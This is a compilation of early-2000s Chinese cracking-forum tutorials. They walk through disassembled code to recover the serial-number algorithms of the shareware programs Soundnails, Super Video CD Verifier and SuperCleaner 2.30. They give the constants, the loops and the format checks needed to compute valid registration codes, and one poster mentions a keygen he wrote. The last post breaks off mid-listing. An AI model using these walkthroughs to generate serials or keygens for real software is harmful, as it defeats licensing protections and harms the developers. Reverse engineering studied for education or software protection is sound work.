0167:00457A24 CMP DWORD [EBX+04],BYTE +00---->拿指向填的注册码指针与00比较
0167:00457A28 JZ 00457A87 ----->为0则跳转
0167:00457A2A MOV ECX,[EBX+08]
0167:00457A2D MOV EDX,[EBX]
0167:00457A2F LEA EAX,[EBP-10]
0167:00457A32 CALL 00403E58
0167:00457A37 MOV EAX,[EBP-10] ----------->eax指向填的用户名
0167:00457A3A MOV EDX,[EBX+04] ----------->edx指向所填的注册码
0167:00457A3D CALL 004573E0 ----------->关键call
0167:00457A42 TEST AL,AL ---------->以AL为棋标
0167:00457A44 JZ 00457A87
0167:00457A46 PUSH DWORD 00457C04------------>00457C04指向"PRO Version Registered for "
0167:00457A4B PUSH DWORD [EBX] ----------->指向用户名的指针.下命令 D *EBX就可看到
0167:00457A4D PUSH DWORD 00457BD8
0167:00457A52 PUSH DWORD 00457BE4
0167:00457A57 PUSH DWORD 00457BF0 ------->00457BF0指向" Serial#: "
0167:00457A5C PUSH DWORD [EBX+08]
0167:00457A5F LEA EAX,[EBX+24]
0167:00457A62 MOV EDX,06
0167:00457A67 CALL 00403ECC
0167:00457A6C MOV ESI,02 -------->02送ESI .这个值也比较重要.
0167:00457A71 MOV EAX,[0047F0E8]
0167:00457A76 MOV [0047F0DC],EAX
0167:00457A7B MOV BYTE [0047F0D8],01
0167:00457A82 JMP 00457B6D
: :
: :-->>(略去不少代码,主要是计算试用期剩余时间及时间计算的代码)
: :
: :
0167:00457B6D XOR EAX,EAX
0167:00457B6F POP EDX
0167:00457B70 POP ECX
0167:00457B71 POP ECX
0167:00457B72 MOV [FS:EAX],EDX
0167:00457B75 PUSH DWORD 00457B8F
0167:00457B7A LEA EAX,[EBP-14]
0167:00457B7D MOV EDX,03
0167:00457B82 CALL 00403BB0
0167:00457B87 RET
0167:00457B88 JMP 004035A0
0167:00457B8D JMP SHORT 00457B7A
0167:00457B8F MOV EAX,ESI
0167:00457B91 POP EDI
0167:00457B92 POP ESI
0167:00457B93 POP EBX
0167:00457B94 MOV ESP,EBP
0167:00457B96 POP EBP
0167:00457B97 RET

看到这里,我们已经比较清楚这个子程序的作用了. 这个子程序的大体流程是这样的,
首先,通过 0167:004579D5 CALL 0045732 根据所填的用户名计算出对应 EASY Version 正确的注册码,
并与填的假的注册码比较,再根据比较结果置AL,然后用AL为棋标测试,如果不是正确的EASY Version注册码,
则再通过0167:00457A3D CALL 004573E0 根据所填的用户名计算出对应 PRO Version 正确的注册码,并与填
的假的注册码比较,再根据比较结果置AL,然后用AL为棋标测试,如果不是正确的 PRO Version 注册码,则
为试用版,再计算时间,计算出30天试用期剩余的天数..大体流程就是这样的了.

由于一个注册名对应两个不同的注册码,所以注册码的算法应该有两个,(实际上EASY Version算法和PRO
Version的算法基本一样,只有一点小不同,在后面我会介绍 ). 看来要想得到注册码的算法,必须要在追进
0167:004579D5 CALL 00457320 和0167:00457A67 CALL 00403ECC 这两个CALL中再分析.

休息一下先,(懒劲又上来了) *^_^*

标 题:Soundnailsd的破解教程（二） (6千字)
发信人:破解勇[CCG]
时 间:2001-10-17 22:00:21
详细信息:

Soundnailsd的破解教程（二）

休息好了，我们接着上一篇继续来 ：-）
话说上回讲到要想得到注册码的算法，必须要在追进0167:004579D5 CALL 00457320 和
0167:00457A67 CALL 00403ECC 这两个CALL中.好，我们就先来看看 CALL 00457320。

下面与计算注册码无关的代码我就不进行说明了. :-)

代码如下：

0167:00457320 PUSH EBP
0167:00457321 MOV EBP,ESP
0167:00457323 ADD ESP,BYTE -0C
0167:00457326 PUSH EBX
0167:00457327 XOR ECX,ECX
0167:00457329 MOV [EBP-0C],ECX
0167:0045732C MOV [EBP-08],EDX
0167:0045732F MOV [EBP-04],EAX
0167:00457332 MOV EAX,[EBP-04]
0167:00457335 CALL 00403FC0
0167:0045733A MOV EAX,[EBP-08]
0167:0045733D CALL 00403FC0
0167:00457342 XOR EAX,EAX
0167:00457344 PUSH EBP
0167:00457345 PUSH DWORD 004573C6
0167:0045734A PUSH DWORD [FS:EAX]
0167:0045734D MOV [FS:EAX],ESP
0167:00457350 LEA EAX,[EBP-04]
0167:00457353 MOV EDX,004573DC
0167:00457358 CALL 00403E14
0167:0045735D MOV EAX,[EBP-04]
0167:00457360 CALL 00403E0C --->在用户名后加上字符串"SNL".如:"pojieyongSNL"
0167:00457365 PUSH EAX --->EAX为用户名+SNL的个数
0167:00457366 LEA EAX,[EBP-04]
0167:00457369 CALL 00403FDC
0167:0045736E MOV ECX,FFFF2012 -->FFFF2012送ECX ─────┐
0167:00457373 POP EDX ---->用户名+SNL的个数弹到EDX 　│
0167:00457374 CALL 00456F2C ------>一个关键的计算的 CALL 　│
0167:00457379 MOV EBX,EAX ------->EAX送EBX 　│
0167:0045737B MOV EDX,07---------->07送EDX 　│
0167:00457380 MOV EAX,EBX -------->EBX送EAX 　│
0167:00457382 CALL 004565BC ----->将EAX移位的CALL.　　　　　　　　│
0167:00457387 XOR EAX,A4529D37---->异或　　　　　　　　　　　　　│─>这一段过程就是算码的过程.
0167:0045738C MOV EBX,EAX ---->EAX送EBX │ 　　　(下面将详细介绍)
0167:0045738E MOV EAX,EBX ---->EBX送EAX 　│
0167:00457390 CDQ ----->扩展EAX的符号位至EDX │
0167:00457391 PUSH EDX 　│
0167:00457392 PUSH EAX 　│
0167:00457393 LEA EAX,[EBP-0C] 　│
0167:00457396 CALL 00457FC8 ----->最后算出注册码的CALL**────┘
0167:0045739B MOV EAX,[EBP-0C]---->将真注册码的首地址送EAX.
0167:0045739E MOV EDX,[EBP-08]---->将假注册码的首地址送EDX.
0167:004573A1 CALL 00403F1C-------->判断真假注册码CALL
0167:004573A6 SETZ AL -------->就是它 嘿嘿..狐狸尾巴.
0167:004573A9 MOV EBX,EAX
0167:004573AB XOR EAX,EAX
0167:004573AD POP EDX
0167:004573AE POP ECX
0167:004573AF POP ECX
0167:004573B0 MOV [FS:EAX],EDX
0167:004573B3 PUSH DWORD 004573CD
0167:004573B8 LEA EAX,[EBP-0C]
0167:004573BB MOV EDX,03
0167:004573C0 CALL 00403BB0
0167:004573C5 RET
0167:004573C6 JMP 004035A0
0167:004573CB JMP SHORT 004573B8
0167:004573CD MOV EAX,EBX
0167:004573CF POP EBX
0167:004573D0 MOV ESP,EBP
0167:004573D2 POP EBP
0167:004573D3 RET

这个子程序的大体流程是这样的,(与算码无关的代码这里就不介绍了),将ffff2012送ECX,
然后经过0167:00457374 CALL 00456F2C 根据填的(用户名+SNL)计算得到一个值,

然后再经过0167:00457382 CALL 004565BC 将这个值 (在EAX中)进行移位,移位的个数为7,
这个CALL的上面有指令 MOV EDX,07 ;这就是移位的个数.

这个值经过移位以后,再与A4529D37异或,结果在 EAX中..然后再经过 0167:00457396 CALL 00457FC8
计算出正确的注册码.

最后再通过0167:004573A1 CALL 00403F1C来判断真假注册码.

好了,让我们来仔细分析一下计算注册码的流程:

① 首先,在用户名后面加上"SNL",例如,用户名为"pojieyong",加上"SNL"形成"pojieyongSNL".
FFFF2012送ECX,用户名+SNL的个数送EDX.然后经过0167:00457374 CALL 00456F2C 根据填的(用户名+SNL)
计算得到一个值.让我们来看看 0167:00457374 CALL 00456F2C.

代码如下 :

其中EAX指向 "用户名+SNL"的首地址, ECX=FFFF2012, EDX=用户名+SNL的个数.

0167:00456F2C PUSH EBX
0167:00456F2D PUSH ESI
0167:00456F2E TEST EAX,EAX
0167:00456F30 JNZ 00456F36
0167:00456F32 XOR ECX,ECX
0167:00456F34 JMP SHORT 00456F66
0167:00456F36 NOT ECX ------>ECX取反.即FFFF2012取反
0167:00456F38 TEST EDX,EDX ------>测试EDX
0167:00456F3A JNG 00456F64
0167:00456F3C XOR EBX,EBX ----->EBX清零<<───────────┐
0167:00456F3E MOV BL,[EAX] 　---->取用户名 　 │
0167:00456F40 MOV ESI,ECX ------>ECX送ESI　　　　　　　　　　　│
0167:00456F42 XOR EBX,ESI ------>异或　　　　　　　　　　　　　│
0167:00456F44 AND EBX,FF ------>EBX和ff进行与运算.　　　　　　│循
0167:00456F4A MOV EBX,[EBX*4+0047ECC8]　　　　　　　　　　　　　　　│环
0167:00456F51 SHR ESI,08 ------>ESI逻辑右移8位 　　　　　　　　│
0167:00456F54 AND ESI,00FFFFFF -->ESI和00FFFFFF进行与运算 　　　│
0167:00456F5A XOR EBX,ESI ---->异或　　　　　　　　　　　　　│
0167:00456F5C MOV ECX,EBX ---->EBX送ECX　　　　　　　　　　　│
0167:00456F5E DEC EDX ---->EDX-1(个数减1)　　　　　　　　│
0167:00456F5F INC EAX ---->EAX+1　　　　　　　　　　　　　│
0167:00456F60 TEST EDX,EDX ----->测试EDX　　　　　　　　　　　　│
0167:00456F62 JG 00456F3C ----->循环,直到EDX=0　　──────┘
0167:00456F64 NOT ECX ----->ECX取反
0167:00456F66 MOV EAX,ECX ----->ECX送EAX
0167:00456F68 POP ESI
0167:00456F69 POP EBX
0167:00456F6A RET
经过上面的运算得到一个值，送到EAX中。

② 将这个值再经过0167:00457382 CALL 004565BC 进行移位.
代码如下:

其中EDX=7 .
0167:004565BC MOV CL,DL ----->7送CL
0167:004565BE ROL EAX,CL----->将EAX循环左移
0167:004565C0 RET
EAX循环左移以后,再与 A4529D37 进行异或,结果在EAX中. 然后再用CDQ指令扩展EAX的符号位至EDX.

③ 再往下来就是最后算出注册码的CALL了,这个CALL就是0167:00457396 CALL 00457FC8
代码如下:

0167:00457FC8 PUSH EBP
0167:00457FC9 MOV EBP,ESP
0167:00457FCB PUSH EBX
0167:00457FCC MOV EBX,EAX
0167:00457FCE PUSH DWORD [EBP+0C]
0167:00457FD1 PUSH DWORD [EBP+08]
0167:00457FD4 MOV EDX,EBX
0167:00457FD6 MOV EAX,[0047F0F0]--->0047F0F0处存放的是一个指针,送到eax.
该指针指向"M65DCBEL2NZPT8RW34HXK71Y9AF"
0167:00457FDB CALL 00457004 ------>真正计算码的CALL.
0167:00457FE0 POP EBX
0167:00457FE1 POP EBP
0167:00457FE2 RET 08
其实EAX所指向的字符串"M65DCBEL2NZPT8RW34HXK71Y9AF" 就是注册码取值范围,即注册码是从这个字符串
中取值. 那么,注册码是按什么规律来取值的呢? 算法就在0167:00457FDB CALL 00457004里,看来我们还要
继续往里追 :-)

再偷懒一下, 闪先 *^_^*

标 题:Soundnailsd的破解教程（三） (7千字)
发信人:破解勇[CCG]
时 间:2001-10-17 22:02:42
详细信息:

Soundnailsd的破解教程（三）

④　现在是我们要追近0167:00457FDB CALL 00457004时候了。
代码如下：
(略过与算码无关的代码).

: :
: :
: :
0167:00457047 MOV EBX,EAX
0167:00457049 FILD QWORD [EBP+08] ----> 这是一个装入整数指令.将EBP+08处存放的值
(这个值就是上一篇所说的那个EAX循环左移以后,
再与 A4529D37 进行异或,结果在EAX中的值),
装入协处理器堆栈寄存器st(0).

0167:0045704C FSTP TWORD [EBP-20] ----->这是存储和弹出实数的指令.将st(0)中的浮点数
复制到EBP-20所指的地方,再进行一次出栈操作.

0167:0045704F WAIT
0167:00457050 CMP DWORD [EBP+0C],BYTE +00
0167:00457054 JNZ 00457062
0167:00457056 CMP DWORD [EBP+08],BYTE +00
0167:0045705A JNC NEAR 004570EE
0167:00457060 JMP SHORT 00457068
0167:00457062 JNL NEAR 004570EE
0167:00457068 FLD TWORD [0047F0C8] ---->装入0047F0C8处所指的实数
0167:0045706E FADD DWORD [0045713C] ---->加法
0167:00457074 FMUL DWORD [00457140] ---->乘法
0167:0045707A FLD TWORD [EBP-20] ---->装入EBP-20所指的实数
0167:0045707D FADDP ST1 ---->加法并弹出
0167:0045707F FSTP TWORD [EBP-20]
0167:00457082 WAIT
0167:00457083 JMP SHORT 004570EE
0167:00457085 MOV AX,[EBP-18] ----->将浮点数的阶码部分和符号位送AX
0167:00457089 PUSH EAX
0167:0045708A PUSH DWORD [EBP-1C]----->将浮点数的32-63位入栈
0167:0045708D PUSH DWORD [EBP-20]----->将浮点数的0-31位入栈
0167:00457090 MOV [EBP-28],EBX ----->字符串长度1B送ebp-28所指处
0167:00457093 FILD DWORD [EBP-28]
0167:00457096 ADD ESP,BYTE -0C
0167:00457099 FSTP TWORD [ESP] ---->0000001B的浮点形式.
0167:0045709C WAIT
0167:0045709D CALL 00456FA4 ---->运算,计算出下面EAX的浮点形式
0167:004570A2 FSTP TWORD [EBP-10]
0167:004570A5 WAIT
0167:004570A6 FLD TWORD [EBP-10]
0167:004570A9 CALL 00402A08 ----->决定eax的值.后面将介绍到
0167:004570AE ADD EAX,BYTE +01
0167:004570B1 ADC EDX,BYTE +00
0167:004570B4 MOV EDX,[EBP-04] ----->EBP-04出存放的是指向"M65DCBEL2NZPT8RW34HXK71Y9AF"
的指针.
0167:004570B7 MOV DL,[EDX+EAX-01] ---->将EDX+EAX-01指向的字符送DL,这就是注册码的其中一位,
可以看出是由EAX来定位注册码的.是从后到前来定位的,
即先定位最后一位注册码,再定位到数第二位注册码.......
0167:004570BB LEA EAX,[EBP-2C]
0167:004570BE CALL 00403D34
0167:004570C3 MOV EDX,[EBP-2C]
0167:004570C6 LEA EAX,[EBP-24]
0167:004570C9 MOV ECX,[EBP-24]
0167:004570CC CALL 00403E58
0167:004570D1 MOV [EBP-28],EBX ----->字符串长度1B送ebp-28所指处
0167:004570D4 FILD DWORD [EBP-28]------> 装入整数0000001B
0167:004570D7 FLD TWORD [EBP-20]------>装入EBP-20所指的实数.
0167:004570DA FDIVRP ST1 ----->反向除法,并弹出
0167:004570DC CALL 00402A14
0167:004570E1 MOV [EBP-34],EAX
0167:004570E4 MOV [EBP-30],EDX
0167:004570E7 FILD QWORD [EBP-34] ---->装入整数,除法的商.
0167:004570EA FSTP TWORD [EBP-20] ---->存储除法的商的浮点形式到EBP-20所指处,再进行一次出栈操作.
0167:004570ED WAIT
0167:004570EE FLD TWORD [EBP-20] ---->装入EBP-20所指处的实数
0167:004570F1 FCOMP DWORD [00457144]-->比较并弹出
0167:004570F7 FNSTSW AX ------>将状态寄存器的值复制到AX
0167:004570F9 SAHF ------>将AH寄存器的第7,6,4,2,0位分别送入到
SF,ZF,AF,PF,CF
0167:004570FA JNZ 00457085 ---->ZF=0则循环
0167:004570FC MOV EAX,ESI
: :
: :
: :(略过一部分)
: :

上面这一段的大体流程是这样的(只说重点的),

这一步0167:00457085 MOV AX,[EBP-18] ,将浮点数的阶码部分和符号位送AX,第一次的浮点数就是那个
上一篇所说的那个EAX循环左移以后,再与 A4529D37 进行异或,结果在EAX中的值的浮点形式.

接下来的0167:0045708A PUSH DWORD [EBP-1C] 和 0167:0045708D PUSH DWORD [EBP-20]是分别将
浮点数的32-63位入栈 和 将浮点数的0-31位入栈.

接下来是经过0167:0045709D CALL 00456FA4这个call,在这个CALL里,浮点数与字符串长度0000001B的
浮点形式进行一系列运算,最终得到一个值,这个值就是后面的EAX的浮点形式.(代码见后)

再下来经过0167:004570A9 CALL 00402A08,这个CALL将上面得到的那个值,以整数存放到当前堆栈指针
所指处,然后将此整数弹到EAX中. (代码见后)

继续往下,EAX+1, 再往下 ,0167:004570B7 MOV DL,[EDX+EAX-01] 这一步通过EAX的值来定位注册码的
取值.

再往下,有一个反向除法,商就是另一次循环的初始的浮点数. 对了,要注意操作数的宽度.

循环 ,直到ZF=1

流程就是这样的了.下面是0167:0045709D CALL 00456FA4和0167:004570A9 CALL 00402A08代码.

0167:0045709D CALL 00456FA4
代码如下：

0167:00456FA4 PUSH EBP
0167:00456FA5 MOV EBP,ESP
0167:00456FA7 ADD ESP,BYTE -20
0167:00456FAA FLD TWORD [EBP+14]------->装入EBP-14所指的实数.
0167:00456FAD FLD TWORD [EBP+08]------->装入EBP+08所指的实数.0000001B的浮点形式.
0167:00456FB0 FDIVP ST1,ST0 --------->除法并弹出
0167:00456FB2 CALL 004029F0
0167:00456FB7 FLD TWORD [EBP+08]------->装入EBP-08所指的实数
0167:00456FBA FMULP ST1 --------->乘法并弹出
0167:00456FBC FLD TWORD [EBP+14]
0167:00456FBF FSUBRP ST1 --------->反向减法并弹出
0167:00456FC1 FSTP TWORD [EBP-20] ------>存储实数到ebp-20所指处,再进行一次出栈操作
0167:00456FC4 WAIT
0167:00456FC5 FLD TWORD [EBP-20]
0167:00456FC8 FCOMP DWORD [00456FFC] ---->比较并弹出
0167:00456FCE FNSTSW AX ----->将状态寄存器的值复制到AX
0167:00456FD0 SAHF ------>将AH寄存器的第7,6,4,2,0位分别送入到
SF,ZF,AF,PF,CF
0167:00456FD1 JNC 00456FDF
0167:00456FD3 FLD TWORD [EBP-20]
0167:00456FD6 FLD TWORD [EBP+08]
0167:00456FD9 FADDP ST1 ------->加法并弹出.
0167:00456FDB FSTP TWORD [EBP-20] -->存储实数到EBP-20所指处.再进行一次出栈操作
0167:00456FDE WAIT
0167:00456FDF MOV EAX,[EBP-20] ──┐
0167:00456FE2 MOV [EBP-10],EAX　　　│
0167:00456FE5 MOV EAX,[EBP-1C]　　　│
0167:00456FE8 MOV [EBP-0C],EAX │-->这一段将ebp-20所指的实数复制到ebp-10所指处.
0167:00456FEB MOV 　AX,[EBP-18] │
0167:00456FEF MOV [EBP-08],AX 　──┘
0167:00456FF3 FLD TWORD [EBP-10] ---->装入EBP-10所指的实数.
0167:00456FF6 MOV ESP,EBP
0167:00456FF8 POP EBP
0167:00456FF9 RET 18

0167:004570A9 CALL 00402A08
代码如下：

0167:00402A08 SUB ESP,BYTE +08
0167:00402A0B FISTP QWORD [ESP] ---->存储整数.再进行一次出栈操作.
0167:00402A0E WAIT
0167:00402A0F POP EAX ------>将整数弹到EAX.
0167:00402A10 POP EDX
0167:00402A11 RET

好了,就写到这里吧 .

破解勇[CCG]

标 题:关于浮点运算的一点补充 (1千字)
发信人:破解勇[CCG]
时 间:2001-10-18 0:02:02
详细信息:

关于浮点运算的一点补充

㈠ 关于协处理器指令

数值运算协处理器和处理器(现在的CPU都内置协处理器)共同监视着指令流,
如果是数值运算协处理器指令则由协处理器执行,如果不是协处理器指令,则由处
理器执行.

㈡ 关于ST(0)、ST(1)、...ST(n)

ST(n)为堆栈寄存器,也叫做浮点寄存器. 运算结果及出栈,入栈都是对ST(n)的
操作.这也正是用TRW2000等调试工具代过浮点运算指令时看不到动静的原因.因为
用TRW2000代过浮点运算指令时,浮点运算的结果在堆栈寄存器,出栈入栈也是对堆
栈寄存器操作,所以在TRW2000的寄存器窗口中看不出变化.

㈢ 关于指令中的P、R、I。

  ① 命令后面加上字母P,则表示该指令执行完后再进行一次堆栈寄存器弹出操作,
如：FADD和FADDP .

② 命令后面加上字母R,表示该命令是反向模式。如：FDIV 和 FDIVR

③ 命令中第二个字母是I,表示以整数操作。如：FLD 和 FILD

㈣ 浮点数的阶码部分为偏移阶码.

① 32位长浮点数用 7FH 为偏移

② 64位长浮点数用 3FFH 为偏移

③ 80位长浮点数用 3FFFH 为偏移

㈤ 　关于协处理器与处理器之间的数据交换

指令 FSTSW AX 可以直接将状态寄存器的内容复制到AX.
另外 FSTSW指令可以将状态寄存器的内容复制到内存

㈥ 关于标记寄存器
每个协处理器堆栈寄存器对应一个标记寄存器,来标明堆栈寄存器中的内容.它标
明了堆栈中的各数是合法还是非法,是无穷还是为0或空.

00=合法
01=0
10=非法或无穷
11=空

㈦ 关于指令系统

在《加密与解密--软件保护技术及完全解决方案》一书的附录部分，有浮点指令小结，
在352页，指令很全， 而且附带了一个例子。

好了,先写这么些吧

破解勇[CCG]


Super Vidoe CD Verifier

 标 题:[ yjunzhao ]的Super Vidoe CD Verifier破解过程，注册器我也写出，到赢征论坛去看 (4千字)
发信人:DiKeN
时 间:2002-2-7 14:38:45
详细信息:
10001011 F2:AE REPNE SCAS BYTE PTR ES:[EDI]
//这儿是看你的注册码长是否为8
//repne scas 是对串进行扫描，直到为0，每一次ecx将-1
10001013 F7D1 NOT ECX
10001015 49 DEC ECX =====>ecx=注册码长
10001016 83F9 08 CMP ECX,8
10001019 74 07 JE SHORT apgr.10001022
===>跳到正确的地方，我的推理
如果注册码正确，eax肯定不等于0
1000101B 32C0 XOR AL,AL
1000101D 5F POP EDI
1000101E 5E POP ESI
1000101F 5D POP EBP
10001020 5B POP EBX
10001021 C3 RETN

********好了，这是注册码部分了******
10001022 8A06 MOV AL,BYTE PTR DS:[ESI]
10001024 3C 56 CMP AL,56
10001026 74 0B JE SHORT apgr.10001033
10001028 3C 76 CMP AL,76
1000102A 74 07 JE SHORT apgr.10001033
注册码第一位必须为“v”或者“V”，否则，嘿嘿！
1000102C 32C0 XOR AL,AL
1000102E 5F POP EDI
1000102F 5E POP ESI
10001030 5D POP EBP
10001031 5B POP EBX
10001032 C3 RETN
10001033 8A46 01 MOV AL,BYTE PTR DS:[ESI+1]
10001036 3C 52 CMP AL,52
10001038 74 0B JE SHORT apgr.10001045
1000103A 3C 72 CMP AL,72
1000103C 74 07 JE SHORT apgr.10001045
注册码第二位必须为“r”或者“R”，否则，嘿嘿！
1000103E 32C0 XOR AL,AL
10001040 5F POP EDI
10001041 5E POP ESI
10001042 5D POP EBP
10001043 5B POP EBX
10001044 C3 RETN

:10001045 B902000000 mov ecx, 00000002

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:1000106C(C)
|
:1000104A 0FBE0431 movsx eax, byte ptr [ecx+esi]
:1000104E 83C0CF add eax, FFFFFFCF(-0x31)
[coloe=red]要求注册码必须在0x31..0x39之间
:10001051 8D14D2 lea edx, dword ptr [edx+8*edx]
:10001054 83F808 cmp eax, 00000008
:10001057 7759 ja 100010B2========>出错了
:10001059 FF2485BC100010 jmp dword ptr [4*eax+100010BC]
:10001060 42 inc edx
:10001061 42 inc edx
:10001062 42 inc edx
:10001063 42 inc edx
:10001064 42 inc edx
:10001065 42 inc edx
:10001066 42 inc edx
:10001067 42 inc edx
:10001068 41 inc ecx
:10001069 83F908 cmp ecx, 00000008
:1000106C 7CDC jl 1000104A
medx为错误的注册码算出的结果
:1000106E A1A0050110 mov eax, dword ptr [100105A0]
:10001073 83C9FF or ecx, FFFFFFFF
:10001076 33ED xor ebp, ebp
:10001078 33F6 xor esi, esi
:1000107A 8D989A000000 lea ebx, dword ptr [eax+0000009A]
:10001080 33C0 xor eax, eax
:10001082 8BFB mov edi, ebx
:10001084 F2 repnz
:10001085 AE scasb
:10001086 F7D1 not ecx
:10001088 49 dec ecx
:10001089 741C je 100010A7

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:100010A5(C)
由RegisterID计算的正确的注册码的值
|
:1000108B 660FBE0433 movsx ax, byte ptr [ebx+esi]
:10001090 8BCE mov ecx, esi
:10001092 8BFB mov edi, ebx
:10001094 D3E0 shl eax, cl
:10001096 83C9FF or ecx, FFFFFFFF
:10001099 03E8 add ebp, eax
:1000109B 33C0 xor eax, eax
:1000109D 46 inc esi
:1000109E F2 repnz
:1000109F AE scasb
:100010A0 F7D1 not ecx
:100010A2 49 dec ecx
:100010A3 3BF1 cmp esi, ecx
:100010A5 72E4 jb 1000108B

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:10001089(C)
|
比较，必须相等哟！
:100010A7 663BD5 cmp dx, bp
:100010AA 0F94C0 sete al
:100010AD 5F pop edi
:100010AE 5E pop esi
:100010AF 5D pop ebp
:100010B0 5B pop ebx
:100010B1 C3 ret


SuperCleaner2.30

 标 题:SuperCleaner2.30破解过程 (11千字)
发信人:lllufh
时 间:2002-2-4 3:03:45
详细信息:
破解对象：SuperCleaner2.30

破解工具：TRW、W32DASM、OLLDYBG

破解目的：练习一下找算法

下面开工喽：

* Reference To: USER32.GetDlgItemTextA, Ord:0113h
|
:004121EF 8B3D7C024200 mov edi, dword ptr [0042027C]
:004121F5 6817040000 push 00000417
:004121FA 56 push esi
:004121FB FFD7 call edi
:004121FD 8D542408 lea edx, dword ptr [esp+08]－－－－－ 停在这里
:00412201 6800010000 push 00000100
:00412206 52 push edx
:00412207 68FC030000 push 000003FC
:0041220C 56 push esi
:0041220D FFD7 call edi
:0041220F 8D442408 lea eax, dword ptr [esp+08]
:00412213 8D8C2408010000 lea ecx, dword ptr [esp+00000108]
:0041221A 50 push eax
:0041221B 51 push ecx
:0041221C E8BF080000 call 00412AE0－－－－－－－－－－－－过这里出错，进去看看
:00412221 83C408 add esp, 00000008
:00412224 85C0 test eax, eax
:00412226 5F pop edi
:00412227 7443 je 0041226C
:00412229 8D542404 lea edx, dword ptr [esp+04]
:0041222D 8D842404010000 lea eax, dword ptr [esp+00000104]
:00412234 52 push edx
:00412235 50 push eax

＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝
进入0041421C：

:00412AF1 B93F000000 mov ecx, 0000003F
:00412AF6 33C0 xor eax, eax
:00412AF8 8D7C2409 lea edi, dword ptr [esp+09]
:00412AFC 8B94240C010000 mov edx, dword ptr [esp+0000010C]
:00412B03 F3 repz
:00412B04 AB stosd
:00412B05 66AB stosw
:00412B07 8D4C2408 lea ecx, dword ptr [esp+08]
:00412B0B 33F6 xor esi, esi
:00412B0D 51 push ecx
:00412B0E 52 push edx
:00412B0F AA stosb
:00412B10 E8AB000000 call 00412BC0－－－－－－－－－－算法应该在这里吧，接着进
:00412B15 8B8C2418010000 mov ecx, dword ptr [esp+00000118]－－－－－这里是真码
:00412B1C 8D442410 lea eax, dword ptr [esp+10]－－－－－－－－这里是假码
:00412B20 50 push eax
:00412B21 51 push ecx
:00412B22 E869FFFFFF call 00412A90
:00412B27 83C410 add esp, 00000010
:00412B2A 85C0 test eax, eax

* Possible Reference to String Resource ID=00001: "蜩屬%s"
|
:00412B2C B801000000 mov eax, 00000001
:00412B31 7502 jne 00412B35
:00412B33 8BC6 mov eax, esi

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00412B31(C)
|
:00412B35 5F pop edi
:00412B36 5E pop esi
:00412B37 81C400010000 add esp, 00000100
:00412B3D C3 ret

＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝

进入00412B10：

:00412BC0 81EC00010000 sub esp, 00000100
:00412BC6 A0808C4200 mov al, byte ptr [00428C80]
:00412BCB 53 push ebx
:00412BCC 55 push ebp
:00412BCD 56 push esi
:00412BCE 57 push edi
:00412BCF 88442410 mov byte ptr [esp+10], al

* Possible Reference to String Resource ID=00063: "`氬~剠?+ Netscape 4 剦棚?"
|
:00412BD3 B93F000000 mov ecx, 0000003F
:00412BD8 33C0 xor eax, eax
:00412BDA 8D7C2411 lea edi, dword ptr [esp+11]
:00412BDE F3 repz
:00412BDF AB stosd
:00412BE0 66AB stosw
:00412BE2 AA stosb
:00412BE3 8BBC2414010000 mov edi, dword ptr [esp+00000114]----这里是注册名
:00412BEA 57 push edi

* Reference To: KERNEL32.lstrlenA, Ord:039Eh
|
:00412BEB FF1510024200 Call dword ptr [00420210]
:00412BF1 8BF0 mov esi, eax---ESI＝EAX＝11(注册名的长度)我输入的是lllufh[BCG]
:00412BF3 33C9 xor ecx, ecx
:00412BF5 33C0 xor eax, eax
:00412BF7 85F6 test esi, esi
:00412BF9 7E13 jle 00412C0E
:00412BFB 8B15F45B4200 mov edx, dword ptr [00425BF4]－－－EDX＝38

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00412C0C(C)
|
:00412C01 0FBE1C38 movsx ebx, byte ptr [eax+edi]－－取出注册名第一位的十六进制值
:00412C05 03DA add ebx, edx－－－－－－－－－－　　　　　　　　　｜
:00412C07 03CB add ecx, ebx－－－－－－－－－－　　　　　　　　　｜计算机
:00412C09 40 inc eax　　－－－－－－－－－－EAX应该是累加器吧　｜
:00412C0A 3BC6 cmp eax, esi
:00412C0C 7CF3 jl 00412C01－－－－－－－－－－依次取出注册名并循环
                                                                循环后ECX＝5ADh（1453）

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00412BF9(C)
|
:00412C0E 8B9C2418010000 mov ebx, dword ptr [esp+00000118]
:00412C15 51 push ecx

* Possible Reference to Dialog:
|
:00412C16 68085C4200 push 00425C08－－－－－－1453后加“－”
:00412C1B 53 push ebx

* Reference To: USER32.wsprintfA, Ord:02D8h
|
:00412C1C FF15FC024200 Call dword ptr [004202FC]
:00412C22 83C40C add esp, 0000000C
:00412C25 33C9 xor ecx, ecx
:00412C27 33C0 xor eax, eax
:00412C29 85F6 test esi, esi
:00412C2B 7E14 jle 00412C41
:00412C2D 8B15F85B4200 mov edx, dword ptr [00425BF8]－EDX＝52

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00412C3F(C)
|
:00412C33 0FBE2C38 movsx ebp, byte ptr [eax+edi]照样取出注册名第一位的十六进制值
:00412C37 0FAFEA imul ebp, edx，　　　　　　　　　　　　｜
:00412C3A 03CD add ecx, ebp　　　　　　　　　　　　　｜计算机
:00412C3C 40 inc eax　　　　应该还是累加器　　　　　　　　　　　　　　｜
:00412C3D 3BC6 cmp eax, esi
:00412C3F 7CF2 jl 00412C33－－－－－－－－－－－依次取出注册名并循环
最后得出ECX＝D23Ch（53820）

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00412C2B(C)
|
:00412C41 51 push ecx
:00412C42 8D4C2414 lea ecx, dword ptr [esp+14]

* Possible Reference to Dialog:
|
:00412C46 68085C4200 push 00425C08－－－－－－－－－－53820后加“－”
:00412C4B 51 push ecx

* Reference To: USER32.wsprintfA, Ord:02D8h
|
:00412C4C FF15FC024200 Call dword ptr [004202FC]
:00412C52 83C40C add esp, 0000000C
:00412C55 8D542410 lea edx, dword ptr [esp+10]
:00412C59 52 push edx
:00412C5A 53 push ebx

* Reference To: KERNEL32.lstrcatA, Ord:038Fh
